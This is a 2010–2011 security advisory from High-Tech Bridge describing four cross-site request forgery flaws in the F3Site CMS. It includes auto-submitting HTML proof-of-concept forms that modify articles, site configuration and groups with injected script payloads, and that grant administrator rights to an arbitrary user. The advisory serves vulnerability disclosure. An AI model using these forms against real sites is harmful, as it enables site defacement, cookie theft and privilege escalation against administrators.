Cross-site Request Forgery Vulnerabilities in F3Site
Advisory ID: | HTB22755 |
Product: | F3Site |
Vendor: | COMPMaster |
Vulnerable Versions: | 2011 alfa 1 and probably prior |
Tested Version: | 2011 alfa 1 |
Advisory Publication: | December 21, 2010 [without technical details] |
Vendor Notification: | December 21, 2010 |
Public Disclosure: | January 4, 2011 |
Vulnerability Type: | Cross-Site Request Forgery [CWE-352] |
Risk Level: | Medium |
| |
CVSSv2 Base Score: | 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in F3Site which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) vulnerabilities in F3Site 1.1 The vulnerability exists due to insufficient validation of the request origin in mod/edit/new.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify arbitrary article. Due to insufficient sanitation of input data in the "txt" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation examples: <form action="http://host/edit/5/NEWSID?ref" method="post" name="main"> <input type="hidden" name="cat" value="1"> <input type="hidden" name="name" value="tt"> <input type="hidden" name="access" value="on"> <input type="hidden" name="img" value=""> <input type="hidden" name="br" value="on"> <input type="hidden" name="emo" value="on"> <input type="hidden" name="txt" value='text"><script>alert(document.cookie)</script>'> <input type="hidden" name="text" value=""> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to insufficient validation of the request origin in admin/configMain.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website configuration. Due to insufficient sanitation of input data in the "footer" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/admin/configMain" method="post" name="main"> <input type="hidden" name="lang" value="en"> <input type="hidden" name="skin" value="system"> <input type="hidden" name="title" value="Website title"> <input type="hidden" name="footer" value='text"><script>alert(document.cookie)</script>'> <input type="hidden" name="metaDesc" value=""> </form> <script> document.main.submit(); </script> 1.3 The vulnerability exists due to insufficient validation of the request origin in admin/editGroup.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit groups. Due to insufficient sanitation of input data in the "dsc" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/admin/editGroup" method="post" name="main"> <input type="hidden" name="name" value="newgrp"> <input type="hidden" name="access" value="1"> <input type="hidden" name="opened" value="on"> <input type="hidden" name="dsc" value='dsc"><script>alert(document.cookie)</script>'> </form> <script> do cument.main.submit(); < /script> 1.4 The vulnerability exists due to insufficient validation of the request origin in admin/editAdmin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and assign administrative privileges to arbitrary user account. Exploitation example: <form action="http://host/admin/editAdmin/USER_ID" method="post" name="main"> <input type="hidden" name="lv" value="3"> <input type="hidden" name="+" value="on"> </form> <script> document.main.submit(); </script> |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback. |
|
References: |
[1] High-Tech Bridge Advisory HTB22755 - https://www.immuniweb.com/advisory/HTB22755 - Cross-site Request Forgery Vulnerabilities in F3Site [2] F3Site - http://dhost.info/compmaster/ - F3Site is a lightweight CMS with multilingual sites support written in HTML 5, JavaScript and PHP 5. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.